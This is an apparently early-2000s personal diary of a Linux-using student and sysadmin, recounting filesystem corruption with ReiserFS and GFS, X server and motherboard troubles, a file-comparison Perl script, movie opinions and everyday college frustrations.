In the end, the movie feels like it was an alpha release. I think it was spliced together pretty badly. It could be improved quite a bit by rearranging the scenes, making some cuts longer or shorter, etc. That would probably bring it up from one or one and a half star to two stars (of four). If they ditched most of the leading roles (Phillippe, Forlani, Cook) and replaced them with the supporting stars, it could have easily reached 3 out of 4.
I heard over the grapevine that Miguel de Icaza and Nat Friedman (along with a bunch of people from Ximian/HelixCode) went to see the movie. Apparently, Nat was very loudly making Miguel's presence known to the theater crowd, and Miguel wasn't terribly happy about that. But, like I said, that's over the grapevine..
Blah. The registration system at the University has been computerized and re-computerized. It still sucks. Well, it may not actually be that bad, but the CSci department is overbooked or something, so I can't get into (m)any classes. I did register for a History of Science/Computer Science class that discusses the history of computers, and the intro lecture seemed really interesting. Unfortunately, that's my only class so far.. Are people coming across overbooked CSci or technology departments elsewhere too, or is the U of MN just weird?
Of course, it is partly my fault for waiting a little to register for my classes. I hate registering, which doesn't exactly make me jump for joy whenever I have to do it.
Anyway, I've got at least another few days of headaches before I know if I'll end up working the entire semester or not.. Work is supposed to be the side thing, but I guess school might end up like that.. Oh well.
Maybe I can do some programming if I end up with gobs of extra time. My roommate has a program on his Journada that keeps track of his checks and other accounting information. It'd be nice if I could do something similar for the Palm. Not that I'd necessarily ever use it (I'm terrible about bookkeeping..)
Other than that, I thought I might wander around QuestionExchange a bit (if that place is still around). Maybe I can actually pick up some cash ;-)
Thinking of doing a couple of hacking projects: Getting gweather to calculate Wind Chill, and also getting it to grab the latest radar images from the National Weather Service. Also, it'd be neat to get gweather to check for weather watches and warnings in the area and notify the users about it. That's one feature where I'd really like to see multicasting work on the Internet at large, since polling every 20 minutes just won't do much good when warnings pop up..
I'd also like to add font selection support to Evolution if possible and get the message composer to read named pipes for .signatures (My .sig is automatically generated ;-)
Of course, to do this, I actually have to sit down for a while and bother to look through the code. Then I have to get it to compile ;-) One of these days.
On to a completely different topic...
I'm a shy person. Some days, being shy feels like the worst curse in the world. If you're looking for a good deed to do today, strike up a conversation with a shy person that you know or that you've seen around. There's no telling what you might learn.. Then again, you could learn that person is a complete ass....
I actually sat down for a bit to get gweather to do wind chill calculations, and I also used the pre-existing code to download new radar images. (some of it had been #ifdef'd out and otherwise disabled)
The most effort went into modifying the Locations database to point to the new Nexrad radar stations rather than the old call signs. If you live in the US, it would help a lot if you could go and find a good radar site for your locale...
If you want to see it work, get some patches [1] [2] and a new Locations file.
Other than that, I'll be heading out shortly to see Crouching Tiger, Hidden Dragon with some friends. Hopefully it'll be entertaining for me..
video. Posted on Slashdot. Top article. Over 1 GB in size. Bwahahahaaa!! That's hilarious.. I'm downloading it anyway, for some reason. Someone's getting pantsed for that...
Now I just have to figure out how to play it. They have this vlc player program that I've never heard of. It doesn't appear to display any video, though I haven't let it play very long yet. No seek bar or anything, though, which sucks. Maybe it's all a big practical joke ;-)
I've been coming to the realization that my computer has not really been helping me much lately. I use my computer for reading and writing e-mail, surfing the web, and some entertainment value (screensavers, MP3s, the occasional video file). It could be so much more useful, but it doesn't seem that there is appropriate software out there...
I just started looking around for ways to start keeping track of my money -- something I'm not very good at. I do carry my Palm Pilot much of the time, so I think I just need decent program on there that can communicate with something on my desktop (GnuCash is probably the best contender for that..) I guess there's PocketMoney ($$), or PalmCoins (in development, GPL). Neither of them work directly with GnuCash, and I'm not sure if PalmCoins works with it at all.
As for documents, LyX is okay, but needs work. I suppose a lot of work is going into KLyx, but I don't like Qt widgets. I really like the idea of WYSIWYM, and I wish that idea could be applied to e-mail. If that could work, we wouldn't have so much trouble with sending HTML mail to text consoles, or sending 72-column messages to 30-column displays on handhelds... Of course, everybody is so enamored with WYSIWYG (or ASCII) that it'll probably never happen.
It would be really nice if my computer could reliably keep track of my music collection. My pile of CDs continues to grow (it's not huge yet, though that may change), and my pile of MP3s and Vorbis files is already pretty difficult to manage. Unfortunately, there isn't enough information in a simple ID3 tag to make a good database.. ID3v2 is probably overkill, and xmms doesn't know how to add ID3v2 tags. I suppose that's something I need to work on. It'd also be really cool if MP3 players (and of course, by `MP3', I mean `compressed audio') could talk to databases directly. I've been putting a little time into a PHP/MySQL interface for a while, but it hasn't really gotten anywhere, since I'd have to deal with streaming the audio. Building this stuff right into the player would make my life easier (I think).
There are a lot of areas where database integration would be really cool. I know I'm not the only one who believes that. However, it's hard to say exactly what the benefits would be. Also, there are at least a few operating systems out there that put database-like metadata directly into the filesystem (BeOS is a good example today). I don't know how easy/hard it is to add that information. I remember that OS/2's HPFS had something similar, but you had to go through and edit a lot of it by hand, which basically made it useless (of course, part of that was because I was using software like WordPerfect 5.1 that was totally unaware of Extended Attributes).
ReiserFS promises to do similar things, but I wonder how long it will be before anyone manages to make anything useful out of it (and will rudimentary programs like `cp' have to be upgraded to handle it? Will pico totally destroy extra information if I just open and re-save a file?)
I just wish I was a better coder... Practice makes perfect, I suppose.
Funny to see these two articles on top of LinuxToday: Microsoft trying to hire developers, and Jim Allchin stating that Linux threatens innovation.
*sigh*
Anyway, I'm lightly considering doing some work on a simple Gtk+ (and maybe Gnome too) mail app to tide me over until Evolution reaches maturity, but I really hate the idea of Yet Another MUA..
I like 3-pane mail clients like Netscape 3.x and 4.5+, but most GUI clients are missing support for PGP/GPG (I noticed that the newest RPMs for Pine have gpg support, but I pretty much avoid console clients except as a last resort). I also despise the look and feel of most graphics toolkits except for Gtk+ (though there are neat bits in some of the other toolkits).
The only reason I'm considering writing my own MUA is because it doesn't seem that it would be all that hard. If I could find the right components to use, it would be pretty easy to at least get a basic mailer. The tricky parts would probably be threading, drag-n-drop, filtering, and perhaps message writing (though I think there may have been enough work on that already).
Well, will this happen? Knowing my record at keeping up on projects, probably not.
dirtyrat: I've picked up headlines and other data to put on my homepage for a while (currently weather info and Slashdot headlines, but I used to pick up current TV listings). If you're having trouble with slow loading sites, you just have to cache the data. My scripts will update the data after they run if the data is over 20 minutes old or so. The scripts spawn lynx in the background, so the page always loads quickly (well, if the server is working right).
A better way might be to attempt to get a current page just after setting an alarm() for a few seconds down the road. If the retrieval is going slowly, the alarm will go off. Trap the alarm and used cached data instead or just give a sane error message.
I wonder what all is going to happen because of Mr. Allchin at Microsoft. Some people are really riled up. I got a message from my Dad that had a pointer to the article. He works at IBM -- I suspect there are a few people over there who had their jaws drop because of it..
Anyway, I'm not going to worry about it too much. It's just another example of Microsoft being downright rude..
The search for a good MUA
Well, I got a link to sylpheed, which appears to have a lot of the things I want. GPG support is apparently experimental, though I see they are using gpgme, which appears to be a Gnome/Bonobo component.. I'll have to give it a try. I also was pointed at spruce, which is apparently fast, though I wonder if it actually threads messages or not (I really like message threads for some reason..)
You're wondering why I was linked to these projects? I bashed Mozilla's mail client on Slashdot, which gave me essentially two responses: Use <insert_name_here> instead, or ``Yeah, the tree widget is slow, but we've got somebody working on it!'' Yeah, well, I'm tired of waiting.. Heck, I've wanted to encrypt my mail for about 8 years -- you'd think it would have been a little more popular by now..
A little later:
Oh yeah, I forgot to mention that I think it would be great if someone decided to make a generic library for doing mail retrieval/storage. Kind of like cURL, I suspect.. Balsa already has libmutt, maybe that would be a starting point.
Gnome 1.4 Beta 1
``Oops, we did it again''
Worst episode ever!
Actually, I think it's really funny ;-)
Got a new monitor -- it's a 17" Trinitron FD, labeled as a `MicronPC.com'.. Whatever. Anyway, I got Xinerama working on my G400 after going to Matrox's website and getting their newest X4.0.2 drivers. Unfortunately, X now refuses to accept the `-dpi' flag, and gv and other DPI-aware apps go pretty nuts.. (The X server says the DPI is something like 135x75)
Anyway, there are plenty of goofy things with Xinerama. Many Gnome dialogs like to pop up in the middle of the whole desktop, riding the `crack' between the two monitors. XPlanet doesn't work right, and Gnome can't set the background properly (I'm just using a random Propaganda tile right now). I also can't set gamma correction on the second head, and DPMS only works on the first head.
Strangely, this new monitor apparently doesn't talk VESA DDC, though that's not surprising considering that it was pretty cheap, at least for a flat 17" Trinitron ($249 at Best Buy).
Almost Noon
A new day, sort of.
Got up and went to my CSci class -- class was canceled, but I still had to hand in my (unfortunately unfinished) homework. Oh well. Went to work for a while this morning, then went to my next class, where an exam was dropped on me. I guess I should have picked up a syllabus when I had a chance...
Anyway, I'm back at work. Right now, I'm looking for a piece of clip-art or a picture of a broken monitor (preferably smashed to bits and smoking or burning). I want to use it as the banner on a Netsaint box I'm building (the hostname will be `monitor', so I figure it's fitting). Unfortunately, I suspect my search will be fruitless..
Afternoon
Having some trouble getting OpenSSL and OpenSSH to compile/install properly on the servers here at work. The really new versions are not wanting to compile on some of the older OSes we have laying around (RH 5.2, some random incantations of Solaris). Oh well, just drop back a rev, I guess.. Those systems should probably be upgraded anyway (at least the Linux boxen).
The networking folks are going to run a vulnerability check on our servers sometime this week, and I'd like to be sure that they're zipped up as tight as possible.
On a completely different note: Girls suck. Sorta. Kinda. Well, okay, I'd be happy to make a different opinion if I could just figure out how to talk to them. blarg..
Having some strange problems with Xinerama. The background does not want to wrap properly. Each screen starts the image over again at (0,0), so I can't set up the backgrounds like I want. However, aterm seems to pick up how the background is supposed to be, resulting in an interesting screenshot (3.2MB PNG). Note that I set the background shading at 90% of full brightness, which is not what I usually have -- it's just for demonstrating what's going on..
Anyway, I'm not exactly sure what to do about it. This is what happens when Gnome or XPlanet sets the background. (it's really annoying, because I like using XPlanet for my background..)
My incantation of X4.0.2 with Xinerama and the Matrox drivers also seems to leak memory pretty badly. I'm still trying to track down from a user perspective if there's anything that triggers it, or if it just happens on it's own. Also, I always have a nagging feeling that the kernel gets confused by the fact that the video card has 32MB of RAM on it that are mapped by the X server (actually, the X server has allocated 40MB from that 32 -- one 24 meg window, with two 8MB windows at the same location..)
Figuring out how much memory X is actually using is always difficult. The Resident Set Size is something like 85MB, which would seem about right if you take out the 40MB allocated to the video card. Unfortunately, the Resident Memory Size is something like 130MB, which I just don't understand..
Oh well, maybe I'll pull down a new version of X from CVS and see if I can compile it properly..
Well, looks like the Matrox G400 hardware doesn't support some nice things like Gamma correction on the second head. I wonder if it's worth it to go out and get a G450.. I suspect I'll go like this for a while. If it gets really annoying, I'll consider it, but until then, I need to beef up my cash reserves again.
Oh yeah, I should probably open another savings account so my money in checking doesn't just sit there collecting dust but no interest.. Considering the recent downturn in stocks, it might be worthwhile to invest sometime soon (on the theory that what goes down must come up, which is not as safe an assumption as the other way around).
For work, I'm digging around a bit to find out what to do about X11 connectivity to Windows desktops.. Looks like the development versions of PuTTY actually support X11 forwarding, so I'll be happy when the next release rolls around. The users at work have been running Reflection X, which is a little overpowered for what they need to do. Users just want to connect, run their program, see the fancy graphics pop up, fiddle around, and quit. Reflection X seems to insist upon making a huge event out of logging in. I much prefer the behavior of Exceed, which you start up before connecting to a remote system. It's also `transparent,' where you can still see the rest of the desktop. There's also no need to run an extra window manager -- it just puts X windows in Windows windows. Provided the $DISPLAY variable is set right, you can just run programs and have them pop up. I just wonder if it's a decent price..
Later
Suddenly, I'm thinking like Q from Star Trek:TNG -- ``Just change the gravitational constant of the universe!''
I've been playing around with GnuPG some more. I still don't have a mail client that I like where I can use GPG, but at work I've been using Pine, which has decent support. Anyway, I'm wondering if the public will ever start using crypto. GPG seems to work pretty well, even downloading new keys (if they are available) on demand. Of course, they need to have been uploaded to a keyserver first.. If Mozilla could have support for GPG, that would help things move along quite a bit.. Of course, it would be cool if there was a GPG plugin or something for MS Outlook, but that's almost a contradiction in terms...
Ahh. Downloaded and compiled Linux 2.4.2 last night. Finally booted it up. The first time I started the system, it didn't work -- I've had trouble with IDE DMA on my system. Fortunately, I had a plan of attack. I run a K6-2/350 at 392 MHz -- bus speed of 112MHz, and a 3.5x multiplier. I'd probably try to bump it up even higher, but I'm already pushing a PC100 DIMM in my box. Anyway, I think the problem I had been having was that the kernel driver for my IDE chipset was assuming that things were running along at 33MHz, when they were in fact running a little faster than that at 37MHz (well, I think -- 112/3 = 37.333...) Just pass `idebus=37' to the kernel when booting, and everything works great. I can untar/bz2 whole kernels without huge I/O overhead once again! Actually, the main benefit of that is that my music doesn't skip ;-)
The whole mess had been broken back when I installed a new PC133 DIMM in my computer (replacing a sub-PC100 10ns DIMM) and decided to fiddle with the system clock. I had tried 400MHz, though I had run into trouble (probably with this same thing -- I probably could have just passed a different idebus parameter to get it to work, but I only figured this out today).
Pretty amazing that these POS computers we all have can have so many parts that run at so many different speeds without usually causing too many headaches. Then again, maybe that's why many boxes do mysterious things..
I'm becoming ill. This sucks. Headache and sore throat, mostly, so it's not entirely obvious to other people. I wouldn't really mind, but I have an exam tomorrow (which I have not studied much for yet).
Oh well, I'll just have to try and clean myself up and see if I feel any better..
Later
N*Sync on The Simpsons? Oh, how Matt Groenig has fallen...
Even later
Oo! Lone Gunmen premieres next week! Hopefully it will be entertaining.
Well, in addition to reading Slashdot and LinuxToday to get a lot of my news, I've recently been occasionally visiting Yahoo's most e-mailed and most viewed content pages. Those pages bring up some pretty interesting articles (and a lot of pictures that border on porn, but that's okay ;-)
Finally decided to play with the CueCat that my family got from Wired. I was wondering why the decoding software that I was using just wouldn't work. Then I realized that the software doesn't directly touch the hardware and was reading cooked input. These programs don't like Dvorak layouts ;-) I guess that someone (maybe me, but I doubt I'll put that much effort into it) will have to re-write some of the software so it can play nicely with different keyboard layouts.. It'd also be nice if I could somehow power down that damn bright red light, but I think it's hardwired to always be on..
Anywho, not much else going on. Had dinner with some friends at Baker's Square and finally tried out the French Apple Cheesecake -- good stuff, though I think my favorite is still Caramel Apple á la Mode. Of course, I don't think it helped my (so far pretty vain) attempts at exercising. I'd really like to cut down on my soda-pop belly, but there's no way I can get myself to work out every day or every other day. I did manage to look up some `ab' exercises, so maybe I'll at least find a few minutes here and there to do those..
Later
[root@3po][~]# reiserfsck /dev/hdc3
<-------------reiserfsck, 2000------------->
reiserfsprogs 3.x.0f
Will read-only check consistency of the partition
Will put log info to stderr
Do you want to run this program?[N/Yes] (note need to type Yes):Yes
Segmentation fault (core dumped)
[root@3po][~]#
*sigh*
Well, I got TV listings on my homepage again. They seem to be somewhat flaky, though, since the source of the data has been acting weird all day. I still have to figure out a way to sort the channels to be in numerical order, but that shouldn't take too long..
In the process of figuring out all of the right channel numbers, I discovered that NASA TV is running a Robot Wars-esque competition right now. It's pretty entertaining ;-)
Wasting my weekend again -- I should really make an attempt to study and do some homework. And do laundry. And eat. Well, OK, it's not hard to convince me to eat.
Anyway, I watched The Whole Nine Yards last night. Very funny movie. Bruce Willis and Matthew Perry make for a great combination. Unfortunately, that movie kept me up far too late. Oh well.
I can't wait to see The Lone Gunmen on Fox tonight. I hope it will be an entertaining show. I suspect my expectations are high, though, so there's a good chance I'll be disappointed.
Well, I'd better start doing stuff..
Motivate
What the heck is wrong with me? Bah. Total lack of drive to do any sort of school work. It's accompanied by a significant drive to do other stuff like hack on some random Gnome panel applets (which doesn't display seconds for some reason...)
I have a sense that I'd feel a lot more motivated to do the stuff I need to do if I had a gf, but that would probably just make me want to do all sorts of other stuff (like actually getting away from the apartment more than once every week or so).
Late
My homework doesn't look too bad. I just hope I can get it done before my brain turns to mush (which will happen in a few hours).
I'm getting a little tired of all of the censorship/DMCA/etc stuff that's getting posted on Slashdot.. That's what the Your Rights Online section is for dudes..
Today in my History of Computing class, the lecture was about the time in IBM's life when the company decided to unbundle software from hardware. The decision to unbundle was made in the mid-1960s, and a task force was put together in order to figure out exactly how to do it.
They weren't concerned about how to price the software. Mostly, they wanted to know how they could `protect' their software. They thought about patents, but at the time, they didn't even know if software could be patented. Also, they didn't feel it was a good idea to flood the Patent Office with SW patents.
Next, they thought about protecting their code by making it a trade secret. Unfortunately, that doesn't work very well either, since once a trade secret is out in the open, it ceases to be a trade secret and no longer has any legal protection. It would be very hard to keep it secret, because of the large numbers of developers that would have to interact with it regularly.
Lastly, they considered copyrighting the stuff, but the folks at IBM thought that copyright protection was very weak and didn't provide for much. I'm not sure if my prof said exactly what they decided, but I suppose that all of this is why we have all sorts of crazy software licenses today.
It all started innocently enough. I wrote a simple message in reply to fears about advertisers going and changing homepages on Windoze boxes:
On Mon, 5 Mar 2001 xxx@xxx.umn.edu wrote:
> Something of interest: > > http://news.cnet.com/news/0-1005-200-4931077.html I would think home page hijacking is an easy thing to fix. It would be a trivial task for a moderately talented programmer to write a program that periodically checks to see if the browser homepage has been changed. If I had a Windows box, I wouldn't hesitate to write such a utility and distribute it freely. Also, it may be possible to deter this activity by simply making the browser preferences file read-only. Certainly, this is more complicated than some people would like, but it's a miniscule task in the grand scheme of things..
So, today, I hear from my boss that his boss heard that I was going to go teach a class on programming now. What? I guess the note got forwarded all over the place, and now people think I'm ultra-talented or something.
*sigh*
I guess I shouldn't have said ``...wouldn't hesitate to write...'', since my job is not a programming job -- we're not supposed to do that (much) because the tech staff would get inundated with little programming requests. I suppose I should have made it more clear that it was not a job thing, more a personal one. And I suspect that I would have had to have been bitten by this before really wanting to write such a utility..
If everyone admitted their `illegal' copying, and all marched to the police stations to be put in jail, what would happen? ``I'm sorry officer, I helped my Mom copy her favorite CD to a tape so she could listen to it in her car..''
Whoa..
[mike@3po][~]$ ls -l /dev/cdrom
lrwxrwxrwx 1 root root 2923625285389647875 Dec 8 02:00 /dev/cdrom -> hdd
fucking Linux fucking filesystems fucking can't fucking crash fucking sanely fucking...
And Fucking ReiserFuckingFS doesn't have a fucking fsck that works.
The only way I can fsck my Reiser partition right now is to copy it's contents to another (ext2) partition, format, and copy everything back..
Seeing the kupdate process with a dreaded `D' flag when doing `ps ax' doesn't exactly make me feel wonderful either. Lots of things stop working after that, like sync and shutdown.
Blech.
I want to go to sleep...
Early/Late
Well, I managed to move most of my files off of my ReiserFS partiton. I reformatted -- probably good to have a RFS 3.6 partition to use with kernel 2.4.x, as opposed to the 3.5 version that I'd carried over from the 2.2.x days.. Maybe that's why reiserfsck was crashing.
Anyway, I discovered that I had a number of music CDs that I hadn't ripped yet. grip is a great tool -- the thing I like best is that you can rip a CD, eject it, let the computer keep compressing the files, and start ripping another CD. Right now, I have about 90 tracks queued up to be compressed. Too bad the Vorbis encoder isn't superfast yet ;-)
Of course, the computer really chugs when it's ripping and compressing and doing other stuff. I'll have to stop ripping for a while when I do some work later and let oggenc catch up..
Morning
Well, guess what? grip managed to cause my ReiserFS partition to die again. I guess reformatting didn't work. Next time, I'm trying Global File System instead.
Noonish
Isn't misspelling `grammar' just about as bad as misspelling `spelling'?
Well, my computer and I have been having an on again, off again relationship lately. Something is flaky when it comes to the filesystems.. I want to get a new motherboard -- one that has known-good IDE(/SCSI) chipsets. Of course, if I'm going to get a new motherboard, I'd really like to get a really kickass one, like a dual athlon system (which is still vaporware, if I remember right).
Anyway, ripping CDs is a pretty scary thing for me to do. It has been the source of the most crashes for me. Really annoying.
Well, I'd better get going and see if I can get any work done.
Moments Later...
[mike@3po][~/mp3]$ ls
Segmentation fault
Gaaah!
/me kicks himself for not yet replacing ReiserFS with Global File System
I tried Nautilus 1.0. I was actually fairly impressed. I had tried earlier versions of Nautilus and was not so happy. I think I really need to turn off the image scanning bit, since that's what really seems to slow it down and make it use tons of memory. I'm still not using it as my desktop, though.
Once Mozilla, Nautilus, and Evolution stabilize, my desktop is going to go through it's greatest transformation since I started using Gnome (way back around 0.13! ;-) Heck, it might even be the greatest change since I went from OS/2 to Linux.
A few things I noticed about Nautilus:
I also tried the latest Evolution snapshot. I was happy to see some GPG/PGP support. Unfortunately, the composer component seems to be broken, so I can read messages, but can't write them. I also don't know if there is GPG support for sending messages. I think the broken composer is just a configuration error on my system somewhere -- I just have to find it. Evolution still has problems, though it hasn't reached the fabled 1.0:
Mozilla is pretty good these days, but it isn't exactly a speed demon. In comparison, any version of Netscape is blazing fast. I guess the biggest problem is that Netscape seems to handle a heavily loaded system much better than Mozilla does. If you're compiling a kernel in the background, it feels icky (to me) to be running Mozilla instead of Netscape..
Anyway, I'm hoping to move away from Netscape as my main application. I'd like to use Mozilla as a browser or a widget (such as within Nautilus) and Evolution for mail/calendaring. I just wish Mozilla used Gtk+/Gnome widgets rather than those ugly XPWidgets (or whatever they're called). Then my desktop would finally look consistent..
Early/Late
Well, finally dumped ReiserFS and installed GFS. I used CVS, since the 4.0 version of GFS didn't have a patch for Linux 2.4.2. Hopefully that wasn't a dumb idea.
Still, I managed to crash the system while I was copying the data onto the newly-formatted partition -- I probably shouldn't have tried starting up X at the same time :-/ I just hope that GFS works better than Reiser did. At least Reiser actually had a fsck utility, even though it didn't work all that well.. GFS doesn't have a consistency-checking utility, AFAIK. Hopefully, that means that they put some more effort into making sure the code worked right ;-) If not, I only have to walk about a mile to show my distaste to the developers in person.
They do appear to have code for Sparc/UltraSparc systems, so maybe it wouldn't be an entirely bad idea to make a real cluster at work where all of the databases can be on a cluster of disks accessed through a big SCSI bus... Of course, our Sun boxes run some proprietary software, so it probably wouldn't work so well, not to mention the fact that there probably aren't any Linux utilities for managing the RAID arrays..
There's no doubt in my mind though -- if you want to run a clustered system, use Linux.
I'm kind of curious, though -- is GFS a good replacement for NFS? It's a journaled filesystem, and each client needs its own journal, so that may cause some problems. I suppose you could just make a lot of fairly small journals -- 16MB or something (default is 128MB, IIRC). I guess security might be an issue -- if you get a root compromise on a client to an NFS server, it's not a huge deal if you have things set up right. With GFS, an attacker could really do some damage.
'kay -- if any of that doesn't make sense, blame it on me being up way too late once again..
Hmm.. People don't seem to be posting as many diary entries lately. Is everybody on sabbatical?
Guess what my computer's going to be doing while I sleep tonight?
[root@3po][~]# badblocks -o badblocks-hdc3.txt -svw /dev/hdc3 44403660
That's right! It'll be checking for bad blocks on my hard disk -- and it probably won't find any!
I've now tried three different filesystems in as many days. First was Reiser, which I already knew was choking. Second at bat was GFS. It seemed to be doing alright, but then strange things began to happen -- I'd start up a new song, and it was like the file had overlapped another. XMMS would start up in the middle of another song, often one that was nearby in the playlist (and therefore probably nearby on the filesystem). I even wrote up a little perl script for testing stuff:
#!/usr/bin/perl
my ($orig) = "/usr/music";
my ($test) = "/media/music";
my ($goodout) = "good.txt";
my ($badout) = "bad.txt";
open (GOOD, ">$goodout");
open (BAD, ">$badout");
chdir ($orig);
open (ORIG, "find . -type f|");
@origlines = <ORIG>;
close (ORIG);
my ($numgood, $numbad) = (0, 0);
my ($starttime) = time ();
my ($eta, $etas, $etam, $etah, $etastr);
for $i (0 .. $#origlines)
{
$file = $origlines[$i];
chomp ($file);
$file =~ s|^\./||;
if (system ("cmp", "-s", "$orig/$file", "$test/$file") == 0)
{
print (GOOD "$test/$file\n");
$numgood++;
}
else
{
print (BAD "$test/$file\n");
$numbad++;
}
$goodpercent = $numgood/$#origlines * 100;
$badpercent = $numbad/$#origlines * 100;
$totalpercent = ($i+1)/$#origlines * 100;
$time = time();
if (($time - $starttime != 0) && ($totalpercent != 0))
{
$elapsed = $time - $starttime;
# estimated total time
$est_total = int $elapsed/($totalpercent/100);
# estimated time remaining
$eta = $est_total - $elapsed;
$etas = $eta % 60;
$etam = (($eta-$etas)/60) % 60;
$etah = int $eta / 3600;
$etastr = sprintf ("%02d:%02d:%02d", $etah, $etam, $etas);
}
printf ("Good: %d [%.2f%] Bad: %d [%.2f%] Total: %d/%d [%.2f%] ".
"ETA: %s\r",
$numgood, $goodpercent, $numbad, $badpercent, $i, $#origlines,
$totalpercent, $etastr);
}
close (GOOD);
close (BAD);
print ("\nDone.\n");
Anyway, I hope badblocks does find something, otherwise I have a bad drive that only shows it's true colors depending on the phase of the moon. On a higher note, I might just be able to lug my computer over to Sistina and have them take a look.
Then again, I should probably restore the original CPU clockspeed to this thing. I'm running an AMD K6-2 at 392 MHz with a 112MHz bus. The IDE controller, AFAICT, is running at 37MHz.
Ugh.
Well, I haven't gotten around to running my system at it's normal clockspeed yet (350MHz w/100 MHz FSB and 33MHz IDE), though I did run at 400MHz. The numbers seem to break down like this: 400MHz CPU clock, 100MHz front side bus, 33MHz IDE subsystem. Previously, the CPU was running at 392MHz with a 112MHz front side bus and a 37MHz IDE subsystem. I actually booted the system once by passing the `idebus=50', which might have set the IDE subsystem to run at 50MHz.
Did any of it make a difference? Not really. If anything, the errors are now less consistent than ever. Then again, they may not have been very consistent in the first place.
My motherboard is a FIC VA-503+..
Oh joy -- I just did a Google search on `corruption va-503+'. Guess what came up? `The WORST Board Ever'
Fun.
Not that I should necessarily trust NBCi user opinions, but his experience is fairly similar to mine. I haven't had any major trouble with my video card, though running X does appear to make the system more prone to faults. I cannot burn CDs while in X -- they get corrupted, even though I have a pretty decent SCSI burner that has a 2MB buffer. CDs don't burn with 100% reliability in console mode, but it's better than when in X.
I once tried hooking up a USB mouse through a USB dongle thingy (this motherboard is half-n-half AT/ATX, so it doesn't have the rear riser with USB built in). I must have connected it backwards, since the mouse ceased to function after that..
The IDE controller is a VT82C586, my mention of which once to the linux-kernel mailing list made one developer cringe in a reply to me.
Needless to say, I'm in a fairly bad mood right now (playing some Weird Al a little while ago helped a bit), and I'm wondering when/if any dual-Athlon boards will ever become available..
Well, the roommates rented Nurse Betty.. Hopefully it will be good.
Hmm.. I suppose I should install XF4.0.3 pretty soon, though I should wait until Matrox releases a driver for it.
I bought a Matrox card to get away from the `proprietary driver' model that came with NVidia cards. I guess Matrox isn't a whole lot better, though I only need to use their binary HALLib when I want to do dual-head stuff. I suspect this is because of Macrovision and other licensed stuff on the second head. We can't have those filthy Linux users playing DVDs now can we?
Of course, somebody has figured out how to display video on the second head anyway...
Well, I've had a very strange week or two. My sleep schedule has gone way out of whack (not that it was very good to begin with -- my roommate snores a lot before 1 AM, so even if I get to bed at 10, it doesn't help).
I'm debating whether I should just buy a new motherboard/processor now (hopefully a DDR-capable board and a fast proc), or if I should try to wait until the fabled AMD 770 chipset-based boards emerge from the mists of vaporware.
I suppose something I could do is buy a fast processor with a decent but inexpensive motherboard, then buy another processor and a good dual board when the 770-based boards actually show up.
Spring Break is coming next week. Not that I'm doing anything but going home, though. I'll be glad that I don't have cable -- it won't take any effort to avoid MTV ;-)
I Will Crush You!
Earlier today, I got a message from CrushLink. I have a secret admirer! Well, maybe. It's basically a viral e-mail harvesting system. I was in an odd enough mood (and, well, my address was in their system anyway), so I decided to try to take a stab at guessing who this person was. Little did I know that I had to add 5 more addresses to their list before they'd tell me anything. To top it off, they even insult you once you've entered 5 addresses -- ``You need help.'' or something to that effect. More than likely, my address was just a filler address for someone else.
Wake Up!
Anyway, didn't do too much today. I got up fairly early for once -- and I think I found a few good reasons for actually getting up at ~7 AM. Batman Beyond is on WB at 7, and Comedy Central usually starts a movie then as well. If I'm feeling sleepy, I can just wait until The Daily Show comes on at 9 ;-)
Well, I'm finally on break. Hopefully I'll have a good week.
Today, I did some research on the FM radio stations in the Twin Cities area. The results are moderately interesting.
Of course, once I was done, I found this stuff from NorthPine (still haven't figured out who they are...)
Home again, home again, jiggidy jig
I'm back at home now. I'll be here for at least a few days. I found a new computer in my bedroom. No, it's not a gift for me or anything -- I think it'll basically be the Windows box where Dad can do his taxes and where Mom can program her sewing machine cartridges. Of course, I'm trying to add everything I need to connect with my Linux box up at my apartment.
This is actually a good thing, since I need some experience setting up stuff like Cygwin and some sort of X server for Windows boxes at work (I don't have one -- I have a spare computer I could install it on, but it's only a P133 with 32 or 64MB of RAM...)
I was pretty surprised to see that Cygwin comes with OpenSSH 2.5.1p2. I also installed the experimental PuTTY that comes with X forwarding support. Unfortunately, the only X server I have right now is WeirdX, which runs extremely slowly on Win98. It looks like Cygnus has done some good work on XFree, so I'm going to try out their implementation soon.
Spring Break wasn't that great -- of course, all I did was go home and get sick :-p
The `energy crunch' that the US is experiencing these days has made me worry about what role I might be playing in the whole scenario, especially considering that I'm in the computing field. I mean, how do the numbers break down anyway? What is using the biggest chunk of electricity these days? What is burning the most fuel? I know the United States is way ahead of everyone else in terms of energy used per capita (though I'm curious where Japan is), so we should really be the ones trying to figure this out, IMHO..
Interesting that this DoE article shows some interesting trends. Petroleum consumption is now the highest in 20 years (yeah, we actually used less gas for a while), and natural gas usage dropped around 1970 only to come back up to that level a few years ago. Coal and nuclear usage has climbed steadily for the past 25 years or so.
Interestingly, the consumption of electricity is only about 1/3 efficient. Losses incurred when producing and distributing the electricity cause 2/3 of the energy to disappear into thin air. However, electricity that does make it to the home is on a bee-line to overtake natural gas as the biggest chunk of residential/commercial usage. Making electrical devices more efficient is certainly important. Producing and distributing the electricity more efficiently would also help. There are nuclear plants out there that produce gigawatts of electricity. However, since the losses incurred in distributing the electricity are so great, it would seem a better idea to make many more small plants (of course, that might make things less efficient in other ways). Coal is the fuel used most in generating electricity, so making it clean and efficient is important.
Anyway, just some random thoughts induced by the fact that I had to replace three light bulbs today (actually, I need to replace more, but that was all of the 60-watt bulbs I had..) I don't understand why they only last 1000 hours, which ends up being something like two months in a lot of cases. If the lights in my apartment run 6 hours a day on average, one will fail each week. :-p
Fatboy Slim, ``Weapon of Choice'' -- the video for that is awesome. Hey! It's Christopher Walken! Dancing! LOL!
Hell, I'd buy that video..
I'd say more, but I really need to get to class today...
Fear the Almighty Bush!
Heh, I think that headline graphic was supposed to strike fear in my heart, but it only made me start laughing...
I wonder if Comedy Central's ``That's My Bush!'' will be any good..
Blah.. I've been in a bad mood for quite a while. I felt a bit better these last few days, though. I think it must have all started when I noticed how rampantly my computer was corrupting files. It's kind of like having a sick pet, I suppose. I've changed clock speeds to something a little more standard, disabled DMA, and fiddled with the BIOS settings a bit. I think I can play with the BIOS some more, but I don't know how much of an effect that will have.
After Spring Break, I had a really crummy week -- I had absolutely no motivation to do homework. My computer didn't help me much, since it just printed out garbage one morning. I've tried to turn myself around, catch up on homework and reading and start on my work early, but I don't know if I'll survive this semester grade-wise.
For the first time in years, I'm actually hanging out with friends that don't live twenty feet away from me. I just don't know if I'll be able to stay in college due to my stunning lack of motivation. I've got a decent job. I guess I'm not really tied to it, though my boss would hate to see me leave (he needs the help).
